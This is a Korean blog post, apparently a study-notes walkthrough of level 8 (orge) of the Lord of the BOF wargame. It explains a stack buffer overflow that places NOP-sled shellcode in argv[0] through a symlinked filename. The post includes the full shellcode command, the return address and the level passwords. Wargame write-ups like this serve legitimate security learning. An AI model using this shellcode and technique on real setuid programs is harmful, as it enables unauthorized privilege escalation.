yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 8번 풀이 (orge) 본문

wargame 풀이/LOB

LOB 8번 풀이 (orge)

yehey 2020. 11. 19. 23:55

 

id: orge
pw: timewalker
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

 

  • strcpy의 BOF 취약점 이용해서 공격
  • egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
  • bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
  • 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
  • buffer에 담긴 내용 출력
  • argv[1]에 전달되는 문자열 길이가 48보다 길어서는 안됨
  • argc가 2가 아니면 종료 됨 (argv[2] 사용 불가능)
  • argv[1]를 초기화 함 (argv[1]에 쉘 코드 담아도 0으로 초기화 됨)

 

스택 구조는 이전 문제들과 같으므로 생략

 

argv[1]과 buffer, 환경변수가 모두 초기화되기 때문에 이전과는 다른 쉘코드 저장 공간을 찾아야한다.

유일하게 초기화 되지 않은 건 argv[0]이다. argv[0]에는 실행 파일 명이 담긴다.

따라서 symbolic link를 사용해서 troll과 쉘 코드에 링크를 걸어주면

troll이 쉘 코드가 실행파일명인 파일로 실행된다. => argv[0]에 쉘 코드가 담긴다.  

 

이제 troll에 쉘 코드로 링크를 걸어주자.

이전처럼 25byte로 구성된 쉘 코드는 \x2f (/) 가 있기 때문에 argv[0]에 넣으면 경로 이동처럼 작동을 해서 \x2f 를 사용하지 않는 쉘 코드를 사용해야 한다.

NOP slide 를 위해 NOP도 충분히 넣어주면

ln -s troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` 

위와 같이 쉘코드를 실행파일명으로 하는 파일과 troll이 링크되어있다.

 

이제 argv[0]의 주소를 알아내보자

troll.c를 복사해서 troll2.c 를 만들고 troll2.c의 코드를 살짝 수정해서 argv[0]의 주소를 출력하도록 만들었다.

(이전 문제에서 수정한 것 참고)

그리고 argv[1]을 적절하게 채워서 전달해주면

 

argv[0]의 주소는 0xbffffc4b 로 나왔다.

 

이제 ret 값에 argv[0]의 주소를 넣어주고 실행시켜보자.

(NOP를 충분히 넣어주었으므로 0xbffffc4b에서 0x10을 더한 0xbffffc5b를 사용했다.)

 

troll 권한으로 쉘이 실행되었다.

 

troll의 pw: "aspirin"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 10번 풀이 (vampire)  (0) 2020.11.22
LOB 9번 풀이 (troll)  (0) 2020.11.21
LOB 7번 풀이 (darkelf)  (0) 2020.11.10
LOB 6번 풀이 (wolfman)  (0) 2020.11.07
LOB 5번 풀이 (orc)  (0) 2020.11.06
Comments